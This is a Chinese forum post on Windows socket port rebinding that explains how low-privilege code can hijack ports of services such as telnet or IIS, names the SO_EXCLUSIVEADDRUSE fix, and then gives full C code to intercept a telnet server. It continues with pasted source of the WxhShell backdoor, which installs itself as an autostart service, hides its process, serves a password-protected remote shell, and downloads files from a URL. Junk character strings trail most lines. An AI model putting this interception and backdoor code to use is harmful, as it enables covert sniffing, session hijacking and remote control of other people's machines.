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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +ZZiZ&y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); CyXcA;H,.  
?tSY=DK\n  
  saddr.sin_family = AF_INET; ;w6\r!O,  
uP* >-s'm  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Y0eu^p)  
0cS.|\ZTA  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `$#64UZ>U1  
-#Wc@\;  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~O^_J)  
h2BD?y  
  这意味着什么?意味着可以进行如下的攻击: Bo~wD|E2  
km|~DkJ\a`  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 NKI&n]EO  
c2F`S1Nu<  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) I}8F3_b,#  
$@#nn5^IX  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 gXfAz,  
`o*eLLk  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  A!^,QRkRN  
YInW)My.h  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 H[G EAQO  
j`tUx# h  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 em W#ZX  
R0=/ Th -  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 x208^=F\\  
|owhF  
  #include (h%wO  
  #include i$NnHj|  
  #include jgO{DNe(=  
  #include    67sb D<r  
  DWORD WINAPI ClientThread(LPVOID lpParam);   )1]C%)zn  
  int main() @rJ#Dr  
  { t)v#y!Ci"  
  WORD wVersionRequested; sP&E{{<QTF  
  DWORD ret; 4^i*1&"  
  WSADATA wsaData; zf S<X  
  BOOL val; f~U|flL^  
  SOCKADDR_IN saddr; ~O|0.)71]  
  SOCKADDR_IN scaddr; gT+/CVj R  
  int err; X F40;urm  
  SOCKET s; `kz_ q/K  
  SOCKET sc; !nYAyjf   
  int caddsize; AzQ}}A;TSx  
  HANDLE mt; SB F3\  
  DWORD tid;   J$P]>By5:  
  wVersionRequested = MAKEWORD( 2, 2 ); -0Q!:5EC  
  err = WSAStartup( wVersionRequested, &wsaData ); $zbg  
  if ( err != 0 ) { r8> q*0~s  
  printf("error!WSAStartup failed!\n"); ; 6zu!  
  return -1; Df4n9m}E  
  } {6AJ>}3  
  saddr.sin_family = AF_INET; +?L~fM69B  
   K:{Q~+   
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ]pGr'T~Gj  
n/ 8fv~zU  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); AKWw36lm  
  saddr.sin_port = htons(23); hQ\]vp7V  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /2U.,vw  
  { !eO?75/  
  printf("error!socket failed!\n");  m$cM+  
  return -1; }@#e D  
  } dy0!Zz  
  val = TRUE; >/n/n{{  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 w5|"cD#8A  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) vTP_vsdeG  
  { )a6i8b3  
  printf("error!setsockopt failed!\n"); |On6?5((e  
  return -1; mPh;  
  } eQeNlCG  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; kjmF-\  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 q'@UZ$2  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 9 o18VJR  
lg=[cC2  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) vSyN_AB?$  
  { $C>EnNx  
  ret=GetLastError(); 9Z*vp^3  
  printf("error!bind failed!\n"); !XicX9n  
  return -1; !hc7i=V ?  
  } - Z|1@s&  
  listen(s,2); `2Z=Lp  
  while(1) /bb4nM_E/  
  { {.2C>p  
  caddsize = sizeof(scaddr); yQW\0&a$  
  //接受连接请求 `=>Bop)  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); S%4hv*_c  
  if(sc!=INVALID_SOCKET) n/6A@C  
  { (=\P|iv  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); C6Mb(&  
  if(mt==NULL) mPu5%%  
  {  {jl4`  
  printf("Thread Creat Failed!\n"); ^aC[Z P:  
  break; fvx0]of  
  } V&>7i9lEz  
  } y^XwJX-f  
  CloseHandle(mt); N7;2BUIXJ  
  } M-Js"cB[  
  closesocket(s); Pf!K()<uJ  
  WSACleanup(); 4VooU [Ka(  
  return 0; qzLRA.#f^  
  }   X}Csl~W8in  
  DWORD WINAPI ClientThread(LPVOID lpParam) (0][hdI~B  
  { oT_,k}LIX  
  SOCKET ss = (SOCKET)lpParam; OW.ckYt%  
  SOCKET sc; l nZ=< T  
  unsigned char buf[4096]; vKW%l  
  SOCKADDR_IN saddr; ;L`'xFo>>  
  long num; #8RQ7|7b|  
  DWORD val; &@Q3CCDS  
  DWORD ret; f+1]#"9i|  
  //如果是隐藏端口应用的话,可以在此处加一些判断 V*AG0@& !  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   qB&*"gf  
  saddr.sin_family = AF_INET; a2i   
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); s)L7o)56/  
  saddr.sin_port = htons(23); }Bb(wP^B.  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) g7H;d  
  { #Q{6/{bM&J  
  printf("error!socket failed!\n"); w_-{$8|  
  return -1; AV'>  
  } jy*wj7fj1  
  val = 100; Gg&jb=  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) RsY<j& f  
  { '5Y8 rv<  
  ret = GetLastError(); -py.Y Z  
  return -1; z#\Z|OKU  
  } toCN{[  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) G ;z2}Ei  
  { %mq]M  
  ret = GetLastError(); e*g; +nz  
  return -1; igp4[Hj  
  } [W2p}4(  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) mrJQB I+  
  { 5P! ZJ3C  
  printf("error!socket connect failed!\n"); m}XI?[!s  
  closesocket(sc); XJlun l)(K  
  closesocket(ss); Jd%#eD*k9  
  return -1; kgQEg)A]!x  
  } \<P W_'6  
  while(1) 6^zv:C%  
  { LJiMtqg  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ctCfLlK  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 n*;I2FV]  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Y,8M[UIK  
  num = recv(ss,buf,4096,0); !~ZL  
  if(num>0) #mj+|/0  
  send(sc,buf,num,0); C*KRu`t  
  else if(num==0) 5~sJ$5<,  
  break; uM\~*@   
  num = recv(sc,buf,4096,0); ,wq.C6;&  
  if(num>0) tVe*J@i\$  
  send(ss,buf,num,0); ~@-Az([H  
  else if(num==0) U{;i864:}  
  break; 6=&  wY  
  } { ~Cqb7  
  closesocket(ss); ,mRN;|N  
  closesocket(sc); S`R ( _eD@  
  return 0 ; /yI~(8bO  
  } }^QY<Cp|  
/fD)/x  
gy>2=d  
========================================================== eag$i.^aS  
wRuJein#  
下边附上一个代码,,WXhSHELL f2d"b+H#  
]vlQNd?  
========================================================== ;bZ)q  
eLt6Hg)s`9  
#include "stdafx.h" #ucOjdquq  
z cA"\  
#include <stdio.h> ufm#H#n)#X  
#include <string.h> xi.;`Q^#  
#include <windows.h> \V&ly/\ )  
#include <winsock2.h>  @P~ u k  
#include <winsvc.h> 5-+Y2tp}  
#include <urlmon.h> PL VF  
]`|bf2*eA  
#pragma comment (lib, "Ws2_32.lib") CUYp(GU  
#pragma comment (lib, "urlmon.lib") +\{!jB*g  
3FS:]|oC  
#define MAX_USER   100 // 最大客户端连接数 #4|?;C)u\  
#define BUF_SOCK   200 // sock buffer 'Oq}BVR&  
#define KEY_BUFF   255 // 输入 buffer 1dKLNE  
a @TAUJ,  
#define REBOOT     0   // 重启 bhg"<I  
#define SHUTDOWN   1   // 关机 hup]Jk  
$i3/||T,9  
#define DEF_PORT   5000 // 监听端口 N/y.=]  
\(Hg_]>m  
#define REG_LEN     16   // 注册表键长度 Maq{H`  
#define SVC_LEN     80   // NT服务名长度 SR\#>Qwx_  
bb#w]!q  
// 从dll定义API K{ 0mb  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); cW3;5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); q!FJP9x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *Fq Nzly  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); x-q er-  
@@! R Iq!  
// wxhshell配置信息 (apAUIE  
struct WSCFG { AA@J~qd u  
  int ws_port;         // 监听端口 3<Cd >o.  
  char ws_passstr[REG_LEN]; // 口令 m(&ZNZK  
  int ws_autoins;       // 安装标记, 1=yes 0=no t<$yxD/R  
  char ws_regname[REG_LEN]; // 注册表键名 < 'T6k\  
  char ws_svcname[REG_LEN]; // 服务名 Ib!`ChZ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [y'jz~9c  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9}":}!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9m8`4%y=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (3 _2h4O  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E]+W^ VG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ot(EDa9}IJ  
o{:D  
}; ,g/UPK8K=  
ku\_M  
// default Wxhshell configuration 4cs`R+]o  
struct WSCFG wscfg={DEF_PORT, ;B tRDKn  
    "xuhuanlingzhe", }G-qOt  
    1, psYfz)1;  
    "Wxhshell", rYc?y  
    "Wxhshell", lKe aI  
            "WxhShell Service", f9#B(4Tgi  
    "Wrsky Windows CmdShell Service", BPC$ v\a  
    "Please Input Your Password: ", g*8sh  
  1, )L^WD$"'Q  
  "http://www.wrsky.com/wxhshell.exe", N>@AsI  
  "Wxhshell.exe" \ar.(J  
    }; x!Wl&  
:vc[ iZ  
// 消息定义模块 :y]l`Mo -  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; DGp'Xx_8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "< [D1E\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @8Co5`CVl  
char *msg_ws_ext="\n\rExit."; )M}bc1 _  
char *msg_ws_end="\n\rQuit."; 2\m+  
char *msg_ws_boot="\n\rReboot..."; Km-lWreTH  
char *msg_ws_poff="\n\rShutdown..."; UD"e:O_  
char *msg_ws_down="\n\rSave to "; dpTap<Noby  
:#b[gWl0Ru  
char *msg_ws_err="\n\rErr!"; pNE!waR>  
char *msg_ws_ok="\n\rOK!"; r@wWGbQ|L  
y8 `H*s@  
char ExeFile[MAX_PATH]; U4 M!RdG  
int nUser = 0; 2D&tDX<  
HANDLE handles[MAX_USER]; U9kt7#@FDK  
int OsIsNt; eF:6k qg  
:* @=px  
SERVICE_STATUS       serviceStatus; {8b6A~/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; q!}&<w~|  
<gJ|Wee  
// 函数声明 IOt!A  
int Install(void); 0 R^Xn  
int Uninstall(void); ~9 K4]5K-  
int DownloadFile(char *sURL, SOCKET wsh); `P"-9Ue=  
int Boot(int flag); 3 u-j`7  
void HideProc(void); AVHn7olG  
int GetOsVer(void); [+>$'Du  
int Wxhshell(SOCKET wsl); F|Jo|02  
void TalkWithClient(void *cs); _ ?=bW  
int CmdShell(SOCKET sock); Y~bp:FkS  
int StartFromService(void); Ij/c@#q.  
int StartWxhshell(LPSTR lpCmdLine); "l2_7ZXsPT  
x@(91f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _^dWJ0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5-aCNAF2  
Q!|. ,?V  
// 数据结构和表定义 rOH8W  
SERVICE_TABLE_ENTRY DispatchTable[] = I)9;4lix  
{ "7iHTV  
{wscfg.ws_svcname, NTServiceMain}, a+,)rY9  
{NULL, NULL} 6BNOF66kH  
}; RG#  
a)[tkjU  
// 自我安装 1rT}mm/e;  
int Install(void) '2v,!G]^  
{ n%@xnB $ZX  
  char svExeFile[MAX_PATH]; ) T 3y,*  
  HKEY key; lv,8NmP5  
  strcpy(svExeFile,ExeFile); x)nBy)<  
lOcvRF  
// 如果是win9x系统,修改注册表设为自启动 pO GVD  
if(!OsIsNt) { Y KeOH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i%v^Zg&FU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R&=Y7MfZ  
  RegCloseKey(key); '<$(*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N2xgyKy~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7@|(z:uw  
  RegCloseKey(key); 6^}GXfJAc  
  return 0; cfa#a!Y4  
    } k h#|`E#,  
  } h}rrsVj3  
} + ECV|mkk  
else { .K;*uq:0  
\d%&_rp  
// 如果是NT以上系统,安装为系统服务 ` _[\j]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $Ob]JAf}  
if (schSCManager!=0) +2MsyA?6_  
{ D("['`{  
  SC_HANDLE schService = CreateService o#Rao#bD:  
  ( F2OU[Z,-]  
  schSCManager, ~\Fde^1  
  wscfg.ws_svcname, Ui'~d(F  
  wscfg.ws_svcdisp, [}}oHm3&  
  SERVICE_ALL_ACCESS, hFyN|Dqhds  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , k;l^wM  
  SERVICE_AUTO_START, 24>{T5E  
  SERVICE_ERROR_NORMAL, oI/@w  
  svExeFile, mWta B>f  
  NULL, o!wz:|\S  
  NULL, yV=hi?f-[V  
  NULL, Td X6<fVV  
  NULL,  Js'COO  
  NULL /$]dVvhX%  
  ); eW0:&*.vMj  
  if (schService!=0) (;V]3CtU*  
  { ~ m, z|  
  CloseServiceHandle(schService); >2Z:=HT  
  CloseServiceHandle(schSCManager); #^%Rk'W  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); KvkiwO(  
  strcat(svExeFile,wscfg.ws_svcname); 4,wdIdSm4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ukzXQe;l1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); nYTI\f/8v  
  RegCloseKey(key); fb&K.6"  
  return 0; ~$YFfv>  
    } ,`S"nq  
  }  oC >^V5  
  CloseServiceHandle(schSCManager); 3QM.X^ANH  
} L}lc=\  
} c]t =#  
kG@1jMPtQ  
return 1; F~)xZN3=  
} \E]s]ft;+  
+.b~2K1  
// 自我卸载 gj$gqO`B  
int Uninstall(void) #0hX)7(j  
{ w!8h4U. ;  
  HKEY key; [{f{E  
&z&Jl#t-)  
if(!OsIsNt) { D{PO!WzW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u`R  
  RegDeleteValue(key,wscfg.ws_regname); xa5I{<<U  
  RegCloseKey(key); D.)R8X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `cMa Fc-y/  
  RegDeleteValue(key,wscfg.ws_regname); ^A;v|U  
  RegCloseKey(key); b"/P  
  return 0; )u(`s`zd  
  } HVh+Z k  
} mY |$=n5X  
} zA\DI]:+  
else { %(,JBa:G  
V: 2|l!l*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); | t3_E  
if (schSCManager!=0) ;, 'eO i  
{ $l0^2o=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <+ >y GPp  
  if (schService!=0) j""u:l^+x  
  { zT0FTAl ^  
  if(DeleteService(schService)!=0) { `?2S4lN/  
  CloseServiceHandle(schService); W 29@`93  
  CloseServiceHandle(schSCManager); ;_1D-Mf  
  return 0; :&9#p% /  
  } N=)N   
  CloseServiceHandle(schService); y*2:(nI  
  } KR?-<  
  CloseServiceHandle(schSCManager); (VU: &.  
} ;~tKNytD`B  
} HwiG~'Ah9  
SI4M<'fK  
return 1; o%RyE]pw,  
} 7K%Ac  
&5~bJ]P   
// 从指定url下载文件 ,K,n{3]  
int DownloadFile(char *sURL, SOCKET wsh) !1-:1Whz8  
{ '<4/Md[  
  HRESULT hr; FJ}/g ?  
char seps[]= "/"; x_s9DkX  
char *token; [;83 IoU}  
char *file; `>g: :  
char myURL[MAX_PATH]; q: ?6  
char myFILE[MAX_PATH]; cOxF.(L  
gR?=z}`@p  
strcpy(myURL,sURL); !n@Yg2w  
  token=strtok(myURL,seps); Ro$l/lXl8t  
  while(token!=NULL) f*aYS  
  { b: +.Y$%F-  
    file=token; "  q0lh  
  token=strtok(NULL,seps); ?2aglj*"v,  
  } ||0mfb  
SB:-zQ5  
GetCurrentDirectory(MAX_PATH,myFILE); kOs_]  
strcat(myFILE, "\\"); @m<xpe l  
strcat(myFILE, file); 3l-8TR  
  send(wsh,myFILE,strlen(myFILE),0); <;=?~QK%-  
send(wsh,"...",3,0); W(9-XlYKE  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =M*31>"I0  
  if(hr==S_OK) E}b" qOV  
return 0; > CZ|Vx  
else :-69,e  
return 1; 9]xOu Cb  
tF O27z@  
} 6L}$R`s5H  
Kj;Q;Ii  
// 系统电源模块 !Hr~B.f7  
int Boot(int flag) Kn?>XXAc  
{ @9~6+BZOq  
  HANDLE hToken; g;UB+Y 247  
  TOKEN_PRIVILEGES tkp; LeF Z%y)F  
l*e*jA_>:7  
  if(OsIsNt) { t ux/@}I  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }} J?, >g  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %}J[EV  
    tkp.PrivilegeCount = 1; bLhTgss](  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~+/IzckrG  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); RplLU7  
if(flag==REBOOT) { AVF(YD<U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cGIxE[n'  
  return 0; zgI!S6q  
} |k\4\a Lj  
else { }~DlOvsq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +vIpt{733  
  return 0; %iPWg  
}  iVu  
  } =\"88e;b2  
  else { ,.A@U*j  
if(flag==REBOOT) { .!e):&(8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) MxQhkY-=  
  return 0; 7jL+c~  
} X ^8@T  
else { WK)hj{k  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )CJXk zOX  
  return 0; ,R#pQ 4  
} m!Cvd9X=  
} Tsch:r S  
n("Xa#mY[  
return 1; b 5<&hN4g  
} R/ix,GC  
KSDz3qe  
// win9x进程隐藏模块 kl%%b"h'  
void HideProc(void) 55q!2>Jh.  
{ =z^ 2KH  
S52'!WTq  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); E:vgG|??  
  if ( hKernel != NULL ) [$M=+YRHMW  
  { -LzkM"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \A7{kI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1Xzgm0OS;  
    FreeLibrary(hKernel); QTr) r;Tro  
  } VaP9&tWXj  
4PK/8^@7)>  
return; uDD{O~wF,  
} f#mNx  
xB-\yWDZe  
// 获取操作系统版本 Q\Wh]=}  
int GetOsVer(void) mxD]`F  
{ QiH>!Ssw  
  OSVERSIONINFO winfo; dhrh "x_?:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vT@*o=I  
  GetVersionEx(&winfo); )|3BS`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B|d-3\sn  
  return 1; dynkb901s  
  else {=K);z  
  return 0; zVt1Ta:j  
} X* 4C?v  
I+2#k\y  
// 客户端句柄模块 xmVW6 ,<?  
int Wxhshell(SOCKET wsl) H=lzW_(  
{ ?vt#M^Q   
  SOCKET wsh; aa2 vk)~  
  struct sockaddr_in client; o8_))  
  DWORD myID; d?:KEi-<7  
M>qqe!c*  
  while(nUser<MAX_USER) yz}ik^T  
{ OSoIH`t A  
  int nSize=sizeof(client); LV2#w_^I  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |7%has3"  
  if(wsh==INVALID_SOCKET) return 1; [}$jO,H5r  
#`]`gNB0Yg  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ej91)3AO  
if(handles[nUser]==0) j]HzI{7y  
  closesocket(wsh); :2t0//@X  
else ='A VI-go5  
  nUser++; <+y%k~("  
  } "m#17J_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K_! R   
0<i8 ;2KD  
  return 0; srlxp_^  
} T.(C`/VM  
A_e&#O  
// 关闭 socket /a,"b8  
void CloseIt(SOCKET wsh) >\br8=R  
{ -7Bg5{FA  
closesocket(wsh); &?[g8A  
nUser--; #| pn,/  
ExitThread(0); ^>wlj  
} %$D n);6=  
b>h L*9  
// 客户端请求句柄 gmqA 5W~y  
void TalkWithClient(void *cs) &]"Z x0t5%  
{ _C@A>]GT  
Qli#=0{`  
  SOCKET wsh=(SOCKET)cs; &|-jU+r}B  
  char pwd[SVC_LEN]; ?B+]Ex(\B,  
  char cmd[KEY_BUFF]; {x,d9I  
char chr[1]; d\ I6Wn  
int i,j; |.*nq  
oRo[WQla  
  while (nUser < MAX_USER) { ~4+ICCbH  
]z O6ESH  
if(wscfg.ws_passstr) { ;fW`#aE  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BOfl hoUX  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M!YGv   
  //ZeroMemory(pwd,KEY_BUFF); bMq)[8,N  
      i=0; E- jJ!>&K  
  while(i<SVC_LEN) { jl>jy6T  
!'eh@BU;  
  // 设置超时 s%QCdU ]  
  fd_set FdRead; tWyl&,3?1  
  struct timeval TimeOut; oeYUsnsbi  
  FD_ZERO(&FdRead); 2= Y8$-  
  FD_SET(wsh,&FdRead); w=_q<1a  
  TimeOut.tv_sec=8; }y1r yeW<  
  TimeOut.tv_usec=0; .[r1Qz7G  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1l5'N=hL  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +H:}1sT;n  
l(Ya,/4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (: P#l&f  
  pwd=chr[0]; A("\m>g$b  
  if(chr[0]==0xd || chr[0]==0xa) { ?[]jJ  
  pwd=0; wP7 E8'  
  break; e:l7 w3?O  
  } <a&w$Zc/  
  i++; (A )f r4  
    } tdHeZv  
Up1 n0  
  // 如果是非法用户,关闭 socket cOf.z)kf6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \kZ@2.pN  
} ( Sjlm^bca  
z}Lf]w?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y[N@ )E_G  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6u'E}hAx|  
B)*1[Jf{4  
while(1) { :9DyABK=Cv  
\JC_"gqt  
  ZeroMemory(cmd,KEY_BUFF); 2 g~W})e  
Mp QsM-iW  
      // 自动支持客户端 telnet标准   Dz,|sHCmk  
  j=0; j0^1BVcj  
  while(j<KEY_BUFF) { ZkWMo= vL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [b+B"f6  
  cmd[j]=chr[0]; O]Ey@7 &  
  if(chr[0]==0xa || chr[0]==0xd) { YSzC's[  
  cmd[j]=0; rB-R(2 CCN  
  break; jM-7  
  } @QMU$]&i]  
  j++; 8=@f lK  
    } NFyV02.  
NoMlTh(O  
  // 下载文件 p"7]zq]'  
  if(strstr(cmd,"http://")) { O=vD6@QI  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6i;q=N$'  
  if(DownloadFile(cmd,wsh)) Zt& 7p  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *~~J1.ja>  
  else Dm%Q96*VAq  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vmv6y*qU  
  } 0 . UN  
  else { baBPf{<  
Q;ZV`D/FA  
    switch(cmd[0]) { 2Lytk OMf  
  <isU D6TC  
  // 帮助 ._]*Y`5)d  
  case '?': { m70AWG  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .+mP#<mAg  
    break; odDVdVx0  
  } guVuO  
  // 安装 yf[1?{iVo  
  case 'i': { beBv|kI4  
    if(Install()) ^;K"Y'f$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >(_2'c*[w  
    else +xAD;A4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }~Do0XUH  
    break; aTfc>A;  
    } g\9&L/xDN  
  // 卸载 m7`S@qG  
  case 'r': { )6BySk  
    if(Uninstall()) bxPJ5oT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GPizR|}h  
    else ~$ Po3]{s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E^Ch;)j|  
    break; mN l[D  
    } PZvc4  
  // 显示 wxhshell 所在路径 AHMvh 7O?  
  case 'p': { S?zP; iFj  
    char svExeFile[MAX_PATH]; [0 rH/{  
    strcpy(svExeFile,"\n\r"); nltOX@P-  
      strcat(svExeFile,ExeFile); U\W$^r,  
        send(wsh,svExeFile,strlen(svExeFile),0); 1cx%+-  
    break; TD-B\ @_  
    } P)LQ=b}V#;  
  // 重启 ul b0B"  
  case 'b': { mM L B?I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @=}NMoNH  
    if(Boot(REBOOT)) w#_7,*6]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qY!LzKM0  
    else { W4qnXD1n  
    closesocket(wsh); ^$mCF%e8H  
    ExitThread(0); 4`'Rm/)  
    } dKP| TRd  
    break; mKE' l'9A_  
    } oKr= ]p  
  // 关机 z8r?C  
  case 'd': { @My RcC  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &xvNR=K[`  
